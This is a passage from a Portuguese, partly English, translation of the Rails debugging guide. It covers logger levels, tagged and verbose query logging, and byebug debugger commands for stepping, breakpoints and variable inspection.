config.log_level = :warn # Em qualquer inicializador de ambiente, ou Rails.logger.level = 0 # a qualquer momento Copiar

Isso é útil quando você quer criar logs em ambientes diferentes de desenvolvimento ou homologação sem sobrecarregar os registros do seu aplicativo com informação desnecessária.

O nível de log padrão do Rails é debug em todos os ambientes de desenvolvimento.

2.3 Enviando Mensagens

Para enviar uma mensagem para o log ativo, use o método logger.(debug|info|warn|error|fatal|unknown) de dentro de um controller, model ou mailer:

logger.debug "Hash com atributos de 'Person': #{@person.attributes.inspect}"
logger.info "Processando informações..."
logger.fatal "Encerrando aplicação, erro irrecuperavel!!!"

logger.debug "Hash com atributos de 'Person': #{@person.attributes.inspect}" logger.info "Processando informações..." logger.fatal "Encerrando aplicação, erro irrecuperavel!!!" Copiar

Segue um exemplo de um método instrumentado com um log extra:

class ArticlesController < ApplicationController
# ...

def create
@article = Article.new(article_params)
logger.debug "Novo Artigo: #{@article.attributes.inspect}"
logger.debug "Artigo deve ser valido: #{@article.valid?}"

if @article.save
logger.debug "O Artigo foi salvo e agora o usuario será redirecionado..."
redirect_to @article, notice: 'Artigo criado com sucesso'
else
render :new
end
end

# ...

private
def article_params
params.require(:article).permit(:title, :body, :published)
end
end

class ArticlesController < ApplicationController # ... def create @article = Article.new(article_params) logger.debug "Novo Artigo: #{@article.attributes.inspect}" logger.debug "Artigo deve ser valido: #{@article.valid?}" if @article.save logger.debug "O Artigo foi salvo e agora o usuario será redirecionado..." redirect_to @article, notice: 'Artigo criado com sucesso' else render :new end end # ... private def article_params params.require(:article).permit(:title, :body, :published) end end Copiar

Segue um exemplo de um log gerado quando a ação deste controller é executada:

Started POST "/articles" for 127.0.0.1 at 2018-10-18 20:09:23 -0400
Processing by ArticlesController#create as HTML
Parameters: {"utf8"=>"✓", "authenticity_token"=>"XLveDrKzF1SwaiNRPTaMtkrsTzedtebPPkmxEFIU0ordLjICSnXsSNfrdMa4ccyBjuGwnnEiQhEoMN6H1Gtz3A==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>"0"}, "commit"=>"Create Article"}
New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>false, "created_at"=>nil, "updated_at"=>nil}
Article should be valid: true
(0.0ms)  begin transaction
↳ app/controllers/articles_controller.rb:31
Article Create (0.5ms)  INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?)  [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs."], ["published", 0], ["created_at", "2018-10-19 00:09:23.216549"], ["updated_at", "2018-10-19 00:09:23.216549"]]
↳ app/controllers/articles_controller.rb:31
(2.3ms)  commit transaction
↳ app/controllers/articles_controller.rb:31
The article was saved and now the user is going to be redirected...
Redirected to http://localhost:3000/articles/1
Completed 302 Found in 4ms (ActiveRecord: 0.8ms)

Started POST "/articles" for 127.0.0.1 at 2018-10-18 20:09:23 -0400 Processing by ArticlesController#create as HTML Parameters: {"utf8"=>"✓", "authenticity_token"=>"XLveDrKzF1SwaiNRPTaMtkrsTzedtebPPkmxEFIU0ordLjICSnXsSNfrdMa4ccyBjuGwnnEiQhEoMN6H1Gtz3A==", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>"0"}, "commit"=>"Create Article"} New article: {"id"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs.", "published"=>false, "created_at"=>nil, "updated_at"=>nil} Article should be valid: true (0.0ms) begin transaction ↳ app/controllers/articles_controller.rb:31 Article Create (0.5ms) INSERT INTO "articles" ("title", "body", "published", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?) [["title", "Debugging Rails"], ["body", "I'm learning how to print in logs."], ["published", 0], ["created_at", "2018-10-19 00:09:23.216549"], ["updated_at", "2018-10-19 00:09:23.216549"]] ↳ app/controllers/articles_controller.rb:31 (2.3ms) commit transaction ↳ app/controllers/articles_controller.rb:31 The article was saved and now the user is going to be redirected... Redirected to http://localhost:3000/articles/1 Completed 302 Found in 4ms (ActiveRecord: 0.8ms) Copiar

A adição deste tipo de log facilita a busca por comportamentos não esperados ou não usuais. Se você adicionar logs extras, tenha certeza de utilizar os níveis de log de maneira adequada, para evitar encher seus logs do ambiente de produção com trivialidades inúteis.

2.4 Verbose Query Logs

When looking at database query output in logs, it may not be immediately clear why multiple database queries are triggered when a single method is called:

irb(main):001:0> Article.pamplemousse
Article Load (0.4ms)  SELECT "articles".* FROM "articles"
Comment Load (0.2ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">

irb(main):001:0> Article.pamplemousse Article Load (0.4ms) SELECT "articles".* FROM "articles" Comment Load (0.2ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 1]] Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 2]] Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 3]] => #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10"> Copiar

After running ActiveRecord::Base.verbose_query_logs = true in the bin/rails console session to enable verbose query logs and running the method again, it becomes obvious what single line of code is generating all these discrete database calls:

irb(main):003:0> Article.pamplemousse
Article Load (0.2ms)  SELECT "articles".* FROM "articles"
↳ app/models/article.rb:5
Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 1]]
↳ app/models/article.rb:6
Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 2]]
↳ app/models/article.rb:6
Comment Load (0.1ms)  SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ?  [["article_id", 3]]
↳ app/models/article.rb:6
=> #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10">

irb(main):003:0> Article.pamplemousse Article Load (0.2ms) SELECT "articles".* FROM "articles" ↳ app/models/article.rb:5 Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 1]] ↳ app/models/article.rb:6 Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 2]] ↳ app/models/article.rb:6 Comment Load (0.1ms) SELECT "comments".* FROM "comments" WHERE "comments"."article_id" = ? [["article_id", 3]] ↳ app/models/article.rb:6 => #<Comment id: 2, author: "1", body: "Well, actually...", article_id: 1, created_at: "2018-10-19 00:56:10", updated_at: "2018-10-19 00:56:10"> Copiar

Below each database statement you can see arrows pointing to the specific source filename (and line number) of the method that resulted in a database call. This can help you identify and address performance problems caused by N+1 queries: single database queries that generates multiple additional queries.

Verbose query logs are enabled by default in the development environment logs after Rails 5.2.

We recommend against using this setting in production environments. It relies on Ruby's Kernel#caller method which tends to allocate a lot of memory in order to generate stacktraces of method calls.

2.5 Tagged Logging

When running multi-user, multi-account applications, it's often useful to be able to filter the logs using some custom rules. TaggedLogging in Active Support helps you do exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"

logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff" logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff" logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" Copiar

2.6 Impact of Logs on Performance

Logging will always have a small impact on the performance of your Rails app, particularly when logging to disk. Additionally, there are a few subtleties:

Using the :debug level will have a greater performance penalty than :fatal, as a far greater number of strings are being evaluated and written to the log output (e.g. disk).

Another potential pitfall is too many calls to Logger in your code:

logger.debug "Person attributes hash: #{@person.attributes.inspect}"

logger.debug "Person attributes hash: #{@person.attributes.inspect}" Copiar

In the above example, there will be a performance impact even if the allowed output level doesn't include debug. The reason is that Ruby has to evaluate these strings, which includes instantiating the somewhat heavy String object and interpolating the variables.

Therefore, it's recommended to pass blocks to the logger methods, as these are only evaluated if the output level is the same as — or included in — the allowed level (i.e. lazy loading). The same code rewritten would be:

logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}

logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} Copiar

The contents of the block, and therefore the string interpolation, are only evaluated if debug is enabled. This performance savings are only really noticeable with large amounts of logging, but it's a good practice to employ.

This section was written by Jon Cairns at a StackOverflow answer and it is licensed under cc by-sa 4.0.

3 Debug com a gem byebug

Quando seu código está se comportando de maneiras inesperadas, você pode tentar imprimir em logs ou no console para diagnosticar o problema. Infelizmente, há momentos em que esse tipo de rastreamento de erros não é eficaz para encontrar a raiz de um problema. Quando você realmente precisa acessar seu código-fonte em execução, o debugger é o seu melhor companheiro.

O debugger também pode ajudá-lo se você quiser aprender sobre o código-fonte do Rails, mas não sabe por onde começar. Basta fazer o debugging de qualquer requisição da sua aplicação e usar este guia para aprender como passar do código que você escreveu para o código Rails subjacente.

3.1 Instalação

Você pode usar a gem byebug para definir breakpoints e percorrer o código em execução no Rails. Para instalá-lo, basta executar:

$ gem install byebug

gem install byebug Copiar

Dentro de qualquer aplicação Rails, você pode invocar o debugger chamando o método byebug.

Aqui está um exemplo:

class PeopleController < ApplicationController
def new
byebug
@person = Person.new
end
end

class PeopleController < ApplicationController def new byebug @person = Person.new end end Copiar

3.2 O Shell

Assim que sua aplicação chamar o método byebug, o debugger será iniciado em um debugger shell do seu terminal onde você iniciou seu servidor da aplicação, e você será colocado no prompt do debugger (byebug). Antes do prompt, o código ao redor da linha que está prestes a ser executada será exibido e a linha atual será marcada por '=>', assim:

[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }

(byebug)

[1, 10] in /PathTo/project/app/controllers/articles_controller.rb 3: 4: # GET /articles 5: # GET /articles.json 6: def index 7: byebug => 8: @articles = Article.find_recent 9: 10: respond_to do |format| 11: format.html # index.html.erb 12: format.json { render json: @articles } (byebug) Copiar

Se você chegou ali por uma requisição do navegador, a aba do navegador que contém a requisição ficará suspensa até que o debugger termine e que o rastreio tenha terminado o processamento da requisição inteira.

Por exemplo:

=> Booting Puma
=> Rails 6.0.0 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Version 3.12.1 (ruby 2.5.7-p206), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://localhost:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
ActiveRecord::SchemaMigration Load (0.2ms)  SELECT "schema_migrations".* FROM "schema_migrations"
Processing by ArticlesController#index as HTML

[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }
(byebug)

=> Booting Puma => Rails 6.0.0 application starting in development => Run `bin/rails server --help` for more startup options Puma starting in single mode... * Version 3.12.1 (ruby 2.5.7-p206), codename: Llamas in Pajamas * Min threads: 5, max threads: 5 * Environment: development * Listening on tcp://localhost:3000 Use Ctrl-C to stop Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200 ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations" Processing by ArticlesController#index as HTML [3, 12] in /PathTo/project/app/controllers/articles_controller.rb 3: 4: # GET /articles 5: # GET /articles.json 6: def index 7: byebug => 8: @articles = Article.find_recent 9: 10: respond_to do |format| 11: format.html # index.html.erb 12: format.json { render json: @articles } (byebug) Copiar

Agora é hora de explorar sua aplicação. Um bom lugar para começar é pedindo ajuda ao debugger. Digite: help

(byebug) help

break      -- Sets breakpoints in the source code
catch      -- Handles exception catchpoints
condition  -- Sets conditions on breakpoints
continue   -- Runs until program ends, hits a breakpoint or reaches a line
debug      -- Spawns a subdebugger
delete     -- Deletes breakpoints
disable    -- Disables breakpoints or displays
display    -- Evaluates expressions every time the debugger stops
down       -- Moves to a lower frame in the stack trace
edit       -- Edits source files
enable     -- Enables breakpoints or displays
finish     -- Runs the program until frame returns
frame      -- Moves to a frame in the call stack
help       -- Helps you using byebug
history    -- Shows byebug's history of commands
info       -- Shows several informations about the program being debugged
interrupt  -- Interrupts the program
irb        -- Starts an IRB session
kill       -- Sends a signal to the current process
list       -- Lists lines of source code
method     -- Shows methods of an object, class or module
next       -- Runs one or more lines of code
pry        -- Starts a Pry session
quit       -- Exits byebug
restart    -- Restarts the debugged program
save       -- Saves current byebug session to a file
set        -- Modifies byebug settings
show       -- Shows byebug settings
source     -- Restores a previously saved byebug session
step       -- Steps into blocks or methods one or more times
thread     -- Commands to manipulate threads
tracevar   -- Enables tracing of a global variable
undisplay  -- Stops displaying all or some expressions when program stops
untracevar -- Stops tracing a global variable
up         -- Moves to a higher frame in the stack trace
var        -- Shows variables and its values
where      -- Displays the backtrace

(byebug)

(byebug) help break -- Sets breakpoints in the source code catch -- Handles exception catchpoints condition -- Sets conditions on breakpoints continue -- Runs until program ends, hits a breakpoint or reaches a line debug -- Spawns a subdebugger delete -- Deletes breakpoints disable -- Disables breakpoints or displays display -- Evaluates expressions every time the debugger stops down -- Moves to a lower frame in the stack trace edit -- Edits source files enable -- Enables breakpoints or displays finish -- Runs the program until frame returns frame -- Moves to a frame in the call stack help -- Helps you using byebug history -- Shows byebug's history of commands info -- Shows several informations about the program being debugged interrupt -- Interrupts the program irb -- Starts an IRB session kill -- Sends a signal to the current process list -- Lists lines of source code method -- Shows methods of an object, class or module next -- Runs one or more lines of code pry -- Starts a Pry session quit -- Exits byebug restart -- Restarts the debugged program save -- Saves current byebug session to a file set -- Modifies byebug settings show -- Shows byebug settings source -- Restores a previously saved byebug session step -- Steps into blocks or methods one or more times thread -- Commands to manipulate threads tracevar -- Enables tracing of a global variable undisplay -- Stops displaying all or some expressions when program stops untracevar -- Stops tracing a global variable up -- Moves to a higher frame in the stack trace var -- Shows variables and its values where -- Displays the backtrace (byebug) Copiar

Para ver as dez linhas anteriores, você deve digitar list- (ou l-).

(byebug) l-

[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
1  class ArticlesController < ApplicationController
2    before_action :set_article, only: [:show, :edit, :update, :destroy]
3
4    # GET /articles
5    # GET /articles.json
6    def index
7      byebug
8      @articles = Article.find_recent
9
10     respond_to do |format|

(byebug) l- [1, 10] in /PathTo/project/app/controllers/articles_controller.rb 1 class ArticlesController < ApplicationController 2 before_action :set_article, only: [:show, :edit, :update, :destroy] 3 4 # GET /articles 5 # GET /articles.json 6 def index 7 byebug 8 @articles = Article.find_recent 9 10 respond_to do |format| Copiar

Dessa forma, você pode mover-se dentro do arquivo e ver o código acima da linha em que adicionou a chamada byebug. Finalmente, para ver onde você está no código novamente, você pode digitar list=

(byebug) list=

[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }
(byebug)

(byebug) list= [3, 12] in /PathTo/project/app/controllers/articles_controller.rb 3: 4: # GET /articles 5: # GET /articles.json 6: def index 7: byebug => 8: @articles = Article.find_recent 9: 10: respond_to do |format| 11: format.html # index.html.erb 12: format.json { render json: @articles } (byebug) Copiar

3.3 O Contexto

Quando você inicia o debugging da sua aplicação, você será colocado em diferentes contextos conforme você percorre as diferentes partes da stack.

O debugger cria um contexto quando um ponto de parada ou um evento é alcançado. O contexto contém informações sobre o programa suspenso, o que habilita o debugger para inspecionar os frames da stack, avaliar variáveis da perspectiva do programa depurado e saiba o local em que programa depurado está parado.

A qualquer momento, você pode chamar o comando backtrace (ou seu alias where) para exibir o backtrace da aplicação. Isso pode ser muito útil para saber como você chegou aonde está. Se você já se perguntou como chegou a algum lugar no seu código, o backtrace fornecerá a resposta.

(byebug) where
--> #0  ArticlesController.index
at /PathToProject/app/controllers/articles_controller.rb:8
#1  ActionController::BasicImplicitRender.send_action(method#String, *args#Array)
at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/basic_implicit_render.rb:4
#2  AbstractController::Base.process_action(action#NilClass, *args#Array)
at /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb:181
#3  ActionController::Rendering.process_action(action, *args)
at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/rendering.rb:30
...

(byebug) where --> #0 ArticlesController.index at /PathToProject/app/controllers/articles_controller.rb:8 #1 ActionController::BasicImplicitRender.send_action(method#String, *args#Array) at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/basic_implicit_render.rb:4 #2 AbstractController::Base.process_action(action#NilClass, *args#Array) at /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb:181 #3 ActionController::Rendering.process_action(action, *args) at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/rendering.rb:30 ... Copiar

O frame atual é marcado com -->. Você pode se mover para qualquer lugar que desejar nesse trace (mudando assim o contexto) usando o comando frame n, em que n é o número do frame especificado. Se você fizer isso, o byebug exibirá seu novo contexto.

(byebug) frame 2

[176, 185] in /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb
176:       # is the intended way to override action dispatching.
177:       #
178:       # Notice that the first argument is the method to be dispatched
179:       # which is *not* necessarily the same as the action name.
180:       def process_action(method_name, *args)
=> 181:         send_action(method_name, *args)
182:       end
183:
184:       # Actually call the method associated with the action. Override
185:       # this method if you wish to change how action methods are called,
(byebug)

(byebug) frame 2 [176, 185] in /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb 176: # is the intended way to override action dispatching. 177: # 178: # Notice that the first argument is the method to be dispatched 179: # which is *not* necessarily the same as the action name. 180: def process_action(method_name, *args) => 181: send_action(method_name, *args) 182: end 183: 184: # Actually call the method associated with the action. Override 185: # this method if you wish to change how action methods are called, (byebug) Copiar

As variáveis disponíveis são as mesmas que se você estivesse executando o código linha por linha. Afinal, é isso que é o debugging.

Você também pode usar os comandos up [n] e down [n] para alterar o contexto n frames acima ou abaixo da stack, respectivamente. n assume como padrão o número um. Acima, nesse caso, é para stack frames com números mais altos, e abaixo é para stack frames com números mais baixos.

3.4 Threads

O debugger pode listar, parar, continuar e alternar entre threads em execução usando o comando thread (ou o abreviado th). Esse comando possui várias opções:

- thread: mostra a thread atual.

- thread list: é usado para listar todas as threads e seus status. A thread atual é marcada com o sinal de mais (+).

- thread stop n: interrompe a thread n.

- thread resume n: retoma a thread n.

- thread switch n: alterna o contexto da thread atual para n.

Esse comando é muito útil quando você está fazendo o debugging para verificar se não há condições do seu código continuar rodando.

3.5 Inspecionando Variáveis

Qualquer expressão pode ser avaliada no contexto atual. Para avaliar uma expressão, apenas digite-a!

Este exemplo mostra como você pode imprimir as variáveis de instância definidas no contexto atual:

[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
3:
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     byebug
=>  8:     @articles = Article.find_recent
9:
10:     respond_to do |format|
11:       format.html # index.html.erb
12:       format.json { render json: @articles }

(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
:@_action_name, :@_response_body, :@marked_for_same_origin_verification,
:@_config]

[3, 12] in /PathTo/project/app/controllers/articles_controller.rb 3: 4: # GET /articles 5: # GET /articles.json 6: def index 7: byebug => 8: @articles = Article.find_recent 9: 10: respond_to do |format| 11: format.html # index.html.erb 12: format.json { render json: @articles } (byebug) instance_variables [:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, :@_action_name, :@_response_body, :@marked_for_same_origin_verification, :@_config] Copiar

Como você já deve ter percebido, todas as variáveis que você pode acessar pelo controller são exibidas. Esta lista é atualizada dinamicamente à medida que você executa o código. Por exemplo, execute a próxima linha usando next (você aprenderá mais sobre este comando posteriormente neste guia).

(byebug) next

[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
5     # GET /articles.json
6     def index
7       byebug
8       @articles = Article.find_recent
9
=> 10      respond_to do |format|
11        format.html # index.html.erb
12        format.json { render json: @articles }
13      end
14    end
15
(byebug)

(byebug) next [5, 14] in /PathTo/project/app/controllers/articles_controller.rb 5 # GET /articles.json 6 def index 7 byebug 8 @articles = Article.find_recent 9 => 10 respond_to do |format| 11 format.html # index.html.erb 12 format.json { render json: @articles } 13 end 14 end 15 (byebug) Copiar

E, em seguida, chame novamente o instance_variables:

(byebug) instance_variables
[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
:@_action_name, :@_response_body, :@marked_for_same_origin_verification,
:@_config, :@articles]

(byebug) instance_variables [:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, :@_action_name, :@_response_body, :@marked_for_same_origin_verification, :@_config, :@articles] Copiar

Agora @articles está incluído nas variáveis de instância, porque a linha que o definiu foi executada.

Você também pode entrar no modo irb com o comando irb (é claro!). Isso iniciará uma sessão irb dentro do contexto em que você a chamou.

O método var é a maneira mais conveniente de mostrar variáveis e seus valores. Vamos pedir para que o byebug nos ajude com isso.

(byebug) help var

[v]ar <subcommand>

Shows variables and its values

var all      -- Shows local, global and instance variables of self.
var args     -- Information about arguments of the current scope
var const    -- Shows constants of an object.
var global   -- Shows global variables.
var instance -- Shows instance variables of self or a specific object.
var local    -- Shows local variables in current scope.

(byebug) help var [v]ar <subcommand> Shows variables and its values var all -- Shows local, global and instance variables of self. var args -- Information about arguments of the current scope var const -- Shows constants of an object. var global -- Shows global variables. var instance -- Shows instance variables of self or a specific object. var local -- Shows local variables in current scope. Copiar

Essa é uma ótima maneira de inspecionar os valores das variáveis do contexto atual. Por exemplo, para verificar se não temos variáveis locais definidas atualmente:

(byebug) var local
(byebug)

(byebug) var local (byebug) Copiar

Você também pode inspecionar um método de objeto desta maneira:

(byebug) var instance Article.new
@_start_transaction_state = nil
@aggregation_cache = {}
@association_cache = {}
@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be...
@destroyed = false
@destroyed_by_association = nil
@marked_for_destruction = false
@new_record = true
@readonly = false
@transaction_state = nil

(byebug) var instance Article.new @_start_transaction_state = nil @aggregation_cache = {} @association_cache = {} @attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be... @destroyed = false @destroyed_by_association = nil @marked_for_destruction = false @new_record = true @readonly = false @transaction_state = nil Copiar

Você também pode usar o display para começar a observar as variáveis. Esta é uma boa maneira de rastrear os valores de uma variável enquanto a execução continua.

(byebug) display @articles
1: @articles = nil

(byebug) display @articles 1: @articles = nil Copiar

As variáveis dentro da lista exibida serão impressas com seus valores depois que você se mover na stack. Para parar de exibir uma variável, use undisplay n onde n é o número da variável (1 no último exemplo).

3.6 Passo-a-passo

Agora você deve saber onde está no trace em execução e poder imprimir as variáveis disponíveis. Mas vamos continuar e seguir em frente com a execução da aplicação.

Use step (abreviados) para continuar executando o programa até o próximo ponto de parada lógica e retornar o controle ao debugger. next é semelhante a step, mas enquanto step pára na próxima linha de código executada, executando apenas um único passo, next se move para a próxima linha sem descer nos métodos.

Por exemplo, considere a seguinte situação:

Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
Processing by ArticlesController#index as HTML

[1, 6] in /PathToProject/app/models/article.rb
1: class Article < ApplicationRecord
2:   def self.find_recent(limit = 10)
3:     byebug
=> 4:     where('created_at > ?', 1.week.ago).limit(limit)
5:   end
6: end

(byebug)

Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200 Processing by ArticlesController#index as HTML [1, 6] in /PathToProject/app/models/article.rb 1: class Article < ApplicationRecord 2: def self.find_recent(limit = 10) 3: byebug => 4: where('created_at > ?', 1.week.ago).limit(limit) 5: end 6: end (byebug) Copiar

Se usarmos o next, não entraremos em detalhes nas chamadas de método. Em vez disso, o byebug irá para a próxima linha dentro do mesmo contexto. Nesse caso, é a última linha do método atual, então o byebug retornará à próxima linha do método chamador.

(byebug) next
[4, 13] in /PathToProject/app/controllers/articles_controller.rb
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     @articles = Article.find_recent
8:
=>  9:     respond_to do |format|
10:       format.html # index.html.erb
11:       format.json { render json: @articles }
12:     end
13:   end

(byebug)

(byebug) next [4, 13] in /PathToProject/app/controllers/articles_controller.rb 4: # GET /articles 5: # GET /articles.json 6: def index 7: @articles = Article.find_recent 8: => 9: respond_to do |format| 10: format.html # index.html.erb 11: format.json { render json: @articles } 12: end 13: end (byebug) Copiar

Se usarmos step na mesma situação, obyebug irá literalmente para a próxima instrução Ruby a ser executada - neste caso, o método week do Active Support.

(byebug) step

[49, 58] in /PathToGems/activesupport-5.1.0/lib/active_support/core_ext/numeric/time.rb
49:
50:   # Returns a Duration instance matching the number of weeks provided.
51:   #
52:   #   2.weeks # => 14 days
53:   def weeks
=> 54:     ActiveSupport::Duration.weeks(self)
55:   end
56:   alias :week :weeks
57:
58:   # Returns a Duration instance matching the number of fortnights provided.
(byebug)

(byebug) step [49, 58] in /PathToGems/activesupport-5.1.0/lib/active_support/core_ext/numeric/time.rb 49: 50: # Returns a Duration instance matching the number of weeks provided. 51: # 52: # 2.weeks # => 14 days 53: def weeks => 54: ActiveSupport::Duration.weeks(self) 55: end 56: alias :week :weeks 57: 58: # Returns a Duration instance matching the number of fortnights provided. (byebug) Copiar

Essa é uma das melhores maneiras de encontrar erros no seu código.

Você também pode usar o step n ou o next n para avançar n passos de uma vez.

3.7 Breakpoints

Um breakpoint interrompe sua aplicação sempre que um determinado ponto do programa é atingido. O shell do debugger é chamado nessa linha.

Você pode adicionar breakpoints dinamicamente com o comando break (ou apenas b). Existem três maneiras possíveis de adicionar breakpoints manualmente:

- break n: define um breakpoint na linha de número n no arquivo fonte atual.

- break file:n [if expression]: define um breakpoint na linha de número n dentro do arquivo chamado file. Se uma expression for dada, ela deve ser avaliada como true para iniciar o debugger.

- break class(.|\#)method [if expression]: define um breakpoint no method (. e # para classe e método de instância, respectivamente) definido em class. O expression funciona da mesma maneira que com o file:n.

Por exemplo, na situação anterior

[4, 13] in /PathToProject/app/controllers/articles_controller.rb
4:   # GET /articles
5:   # GET /articles.json
6:   def index
7:     @articles = Article.find_recent
8:
=>  9:     respond_to do |format|
10:       format.html # index.html.erb
11:       format.json { render json: @articles }
12:     end
13:   end

(byebug) break 11
Successfully created breakpoint with id 1

[4, 13] in /PathToProject/app/controllers/articles_controller.rb 4: # GET /articles 5: # GET /articles.json 6: def index 7: @articles = Article.find_recent 8: => 9: respond_to do |format| 10: format.html # index.html.erb 11: format.json { render json: @articles } 12: end 13: end (byebug) break 11 Successfully created breakpoint with id 1 Copiar

Use info breakpoints para listar os breakpoints. Se você fornecer um número, ele listará esse breakpoint correspondente. Caso contrário, ele listará todos os breakpoints.

(byebug) info breakpoints
Num Enb What
1   y   at /PathToProject/app/controllers/articles_controller.rb:11

(byebug) info breakpoints Num Enb What 1 y at /PathToProject/app/controllers/articles_controller.rb:11 Copiar

Para deletar os breakpoints: use o comando delete n para remover o breakpoint de número n. Se nenhum número for especificado, ele excluirá todos os breakpoints que estão ativos no momento.

(byebug) delete 1
(byebug) info breakpoints
No breakpoints.

(byebug) delete 1 (byebug) info breakpoints No breakpoints. Copiar

Você também pode ativar ou desativar os breakpoints:

- enable breakpoints [n [m [...]]]: fornece uma lista de breakpoints específicos ou todos os breakpoints para interromper seu programa. Este é o estado padrão quando você cria um breakpoint.

- disable breakpoints [n [m [...]]]: garante que certos (ou todos) breakpoints não tenham efeito no seu programa.

3.8 Captura de Exceções

O comando catch exception-name (ou apenas cat exception-name) pode ser usado para interceptar uma exceção do tipo exception-name quando, de outra forma, não haveria um handler para isso.

Para listar todos os pontos de captura ativos, use catch.

3.9 Continuando a execução

Existem duas maneiras de retomar a execução de uma aplicação que está parada no debugger:

- continue [n]: retoma a execução do programa no local em que o seu script parou pela última vez; quaisquer breakpoints definidos nesse local são ignorados. O argumento opcional n permite especificar um número de linha para definir um breakpoint único que é excluído quando esse breakpoint é atingido.

- finish [n]: executa até a stack frame selecionada retornar. Se nenhum número de frame for fornecido, a aplicação será executada até o frame atualmente selecionado retornar. O frame atualmente selecionado inicia o frame mais recente ou 0 se nenhum posicionamento de frame (por exemplo, para cima, para baixo ou frame) foi executado. Se um número de frame for fornecido, ele será executado até que o frame especificado retorne.

3.10 Edição

Dois comandos permitem abrir o código do debugger em um editor:

